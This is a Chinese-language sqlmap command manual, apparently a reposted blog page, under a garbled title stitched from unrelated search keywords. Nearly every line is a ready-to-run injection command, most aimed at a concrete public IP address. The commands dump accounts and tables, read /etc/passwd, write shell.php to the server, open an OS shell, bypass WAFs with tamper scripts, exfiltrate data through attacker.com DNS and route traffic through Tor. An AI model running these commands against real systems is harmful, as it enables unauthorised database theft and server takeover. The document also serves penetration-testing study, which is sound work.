建立互联网网站需要钱嘛,在线翻墙,买别人做的网站能盗回吗,建设服装网站的论文Sqlmap手册—史上最全
一.介绍
开源的SQL注入漏洞检测的工具#xff0c;能够检测动态页面中的get/post参数#xff0c;cookie#xff0c;http头#xff0c;还能够查看数据#xff0c;文件系统访问#xff0c;甚至能够操作系统命令执行。 检测方式#xff1a;布尔盲注、…Sqlmap手册—史上最全
一.介绍
开源的SQL注入漏洞检测的工具能够检测动态页面中的get/post参数cookiehttp头还能够查看数据文件系统访问甚至能够操作系统命令执行。 检测方式布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入 支持数据库Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
二.基本参数
—update更新 python sqlmap.py —update
-h查看常用参数 python sqlmap.py -h
-hh查看全部参数 python sqlmap.py -h
—version查看版本 python sqlmap.py —version
-v查看执行过程信息默认是1一共 0 ~ 6 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -v 3
-d mysql表示数据库类型、user:password表示目标服务器的账号和密码后表示要连接的服务器3306表示端口zakq_ dababasename表示连接的数据库名称 python sqlmap.py -d “mysql://root:root192.168.126.128:3386/zkaq_databasename”
—wizard 向导式 python sqlmap.py —wizard
三.确定目标
-u “URL” 指定URLget请求方式 python sqlmap.py -u “http://59.63.200.79:8003/?id1“
-m url.txt :使用一个包含多个url的文件进行扫描。若有重复sqlmap会自动识别成一个。 python sqlmap.py -m url.txt -g 扫描使用Google语法得到的url。 python sqlmap.py -g “inurl:\”.php?id1\”
-r request.txt Post提交方式使用HTTP请求文件该文件可从BurpSuit中导出。BurpSuit抓包—将请求复制到txt中即可 python sqlmap.py -r request.txt -l log.txt —scope”正则表达式” Post提交方式使用BurpSuit的log文件。Options—Misc—Logging—Proxy—勾选Request scope的作用是 基于正则表达式去过滤日志内容筛选需要扫描的对象。 python sqlmap.py -l log.txt —scope”(www)?.target.(com|net|arg)” -c sqlmap.conf 使用配置文件进行扫描 (sqlmap.conf与sqlmap.py 在同一目录) python sqlmap.py -c sqlmap.conf
-u “URL” 对于这种写法加号扫描 python sqlmap.py -u “http://target_url/param1/value1/param2/value2“
四.配置目标参数
-p 指定要扫描的参数 python sqlmap.py -u “http://59.63.200.79:8003/?id1usernameadminpassword123“ -p “username,id”
—skip排除指定的扫描参数 python sqlmap.py -u “http://59.63.200.79:8003/?id1usernameadminpassword123“ —skip “username,id”
—data指定扫描的参数get/post都适用 python sqlmap.py -u “http://59.63.200.79:8003/?id1usernameadminpassword123“ —date”usernameadminpassword123”
—param-del改变分隔符默认是因为有些网站不实用传递多个数据。 python sqlmap.py -u “http://59.63.200.79:8003/?id1usernameadminpassword123“ —date”usernameadmin;password123” —param-del”;”
—cookie 使用cookie的身份认证 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —cookie”securitylow;PHPSESSID121123131”
—drop-set-cookie有时候发起请求后服务器端会重新Set-cookie给客户端SQLmap默认会使用新的cookie这时候可以设置此参数表示还是用原来的cookie。 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —cookie”securitylow;PHPSESSID121123131 —-drop-set-cookie”
—user-agent 使用浏览器代理头 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —user-agent”aaaaaaaaa”
—random-agent使用随机的浏览器代理头 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —random-agent
—host 指定主机头 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —host”aaaaa”
—referer”aaaaaa” 指定referer头 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —referer”aaaaaa”
—headers 有些网站需要特定的头来身份验证 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —headers”host:aaaa\nUser-Agent:bbbb”
—method 指定请求方式还有POST python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —methodGET
—auth-type —auth-cred身份认证还有Digest、NTLM python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —auth-type Basic —auth-cred “user:pass”
—auth-file”ca.PEM” 使用私钥证书去进行身份认证还有个参数—auth-cert暂时不知道怎么用没遇到过 —proxy 使用代理去扫描目标代理软件占用的端口在8080 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —proxy”http://127.0.0.1:8080/“
—proxy-cred使用代理时的账号和密码 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —proxy”http://127.0.0.1:8080/“ —proxy-cred”name:pass”
—ignore-proxy 忽略系统级代理设置通常用于扫描本地网络目标本网段。 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —ignore-proxy
五.配置目标行为
—force-ssl使用HTTPS连接进行扫描 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —force-ssl
—delay每次http请求之间的延迟时间默认无延迟 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —delay”3”
—timeout请求超时时间浮点数默认为30秒 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —timeout”10”
—retrieshttp连接的重试次数默认3次 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —retries”1”
—randomize长度、类型与原始值保持一致的情况下,随机参数的取值。比如id100 - id1?? python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —randomize”id”
—safe-url检测盲注阶段时sqlmap会发送大量失败请求可能导致服务器端销毁session python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —safe-url”URL”
—safe-freq 每发送多少次注入请求后发送一次正常请求配合—safe-url使用。 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —safe-freq
—time-sec基于时间的注入检测相应延迟时间默认5秒 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —time-sec”3”
—union-cols 默认联合查询1-10列随—level增加最多支持100列。 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —union-cols 6-9
—union-char联合查询默认使用null极端情况下可能失败此时可以手动执行数值 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —union-char 123
—technique US 指定检测注入时所用技术默认情况下Sqlmap会使用自己支持的全部技术进行检测有B、E、U、S、T、Q python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —technique US
六.优化探测过程
—level 2检测cookie中是否含有注入、3检测user-agent、referer是否含有注入、5检测host是否含有注入 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —level 3
—risk 默认1最高4等级高容易造成数据被篡改风险 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —risk 3 —predict-output 优化检测方法不断比对大数据缩小检测范围提高效率与—threads参数不兼容 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —predict-output
—keep-alive 长连接、性能好避免重复建立的网络开销但大量长连接会占用服务器资源。与—proxy参数不兼容 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —keep-alive
—null-connection 只获取页面大小的值通常用于盲注判断真假与—text-only 不兼容 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —null-connection
-o 直接开启以上三个(—predict-output、—keep-alive、—null-connection) python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -o
—threads7 提高并发线程默认为1建议不要超过10否则影响站点可用性与—predict-out不兼容 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —threads7
—string”woaini” 页面比较用于基于布尔注入的检测因为有时候页面随时间阈值变化此时需要人为指定标识真假的字符串除此之外还有—not-string”woaini”、—code200、—titles”Welcome”等等 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —string”woaini”
七.特定目标环境
—skip-urlencode 默认get传参会使用URL编码但有些服务器没按规范使用原始字符提交数据。 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —skip-urlencode
—eval 在提交前对参数进行pyhton的处理提升效率 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —eval”import hashlib;hashhashlib.md5(id).hexdigest()”
—dbms 指定数据库类型还可以加上版本 Mysql5.0 python sqlmap.py -u “http://59.63.200.79:8003/?id1” —dbms”Mysql”
—os 指定操作系统还可以是Linux python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —os”Windows”
—invalid-bignum sqlmap默认使用负值让参数进行失效该参数使用最大值让参数失效比如 id9999999 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —invalid-bignum
—invalid-logical 使用布尔值比如 id 13 and 1819 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —invalid-logical
—no-cast将sqlmap取出的数据转换为字符串并用空格替换NULL结果在老版本时需要开启此开关。 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —no-cast
—no-escape为了逃逸服务器端对sqlmap的检测默认使用char()编码替换字符串。本参数将关闭此功能。比如 select ‘foo’ — select cahr(102) char(111) char(111) python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —no-escape
—prefix添加前缀 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —prefix “‘)’”
—suffix 添加后缀 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —suffix “AND (‘abc’’abc”
—tamper使用脚本绕过IPS、WAF等 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —tamper”tamper/between.py,tamper/randomcase.py”
—dns-domain攻击者控制了DNS服务器可以提高取出数据的效率 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —dns-domain attacker.com
—second-order在一个页面注入的结果从另外一个页面提现出来 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —second-order “http://1.1.1.1/b.php“
八.查看基本信息
-f 扫描时加入数据库指纹检测 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -f
-b 查看数据库的版本信息 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -b
九.查看数据信息
—users 查询所有的数据库账号 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —users
—dbs 查询所有数据库 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —dbs
—schema 查询源数据库包含定义数据的数据 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —schema
-a 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -a
-D dvwa指定数据库 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -D database_name
—current-user 查询当前数据库用户 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —current-user
—current-db 查询当前数据库 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —current-db
—hostname 查看服务器的主机名 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —hostname
—Privileges -U username 查询username的权限 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —Privileges -U username
—roles 查询角色 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —roles
—tables 查看所有的表 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —tables
-T 指定表 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -T table_name
—columns 查看所有的字段 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —columns
-C 指定字段 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ -C column_name
—count 计数查看有多少条数据 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —count
—exclude-sysdbs 排除系统库 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —exclude-sysdbs
—dump 查看数据 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —dump
—start 3 查看第三条 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —start 3
—end 4 查看第四条 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —end 4
—sql-query “select * from users” 执行语句 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —sql-query “select * from users”
—common-columns 暴力破解字段应用于两种情况①无权限读取数据。②mysql5.0 没有infomation_schema库 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —common-columns
—common-tables 暴力破解表 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —common-tables
十.其他参数
—batch 自动选是 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —batch
—charset强制字符编码 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —charsetGBK
—crawl爬站深度 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —crawl3
—csv-del指定csv文件的分隔符 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —csv-del”;”
—flush-session 清空session python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —flush-session
—force-ssl 强制使用HTTPS python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —force-ssl
—fresh-queries 重新检测不使用本地已查询的数据 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —fresh-queries
—hex 以16进制的形式编码dump出来的数据 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —hex
—parse-errors 分析和显示数据库内建报错信息 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —parse-errors
—answer 回答 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —answer”extendingN”
—check-waf 检测WAF/IPS/IDS python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —check-waf
—hpp 绕过WAF/IPS/IDS python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —hpp
—identify-waf 彻底检测WAF/IPS/IDS python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —identify-waf
—mobile 模拟智能手机设备 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —mobile
—purge-output 清除output文件夹 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —purge-output
—smart 当有大量检测目标时只选择基于错误的检测结果 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —smart
十一.高级注入参数
—file-read文件系统访问 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —file-read”/etc/passwd”
—file-write、—file-dest 写文件到目标位置 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —file-write”shell.php” —file-dest “/tmp/shell.php”
—sql-shell 进入交互式mysql窗口 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —sql-shell
—os-shell 进入命令行窗口 python sqlmap.py -u “http://59.63.200.79:8003/?id1“ —os-shell
使用Tor代理 sqlmap.py -u http://navisec.it/123.asp?id1 —tor -tor-typeSOCKS5 —tor-port9050 —check-tor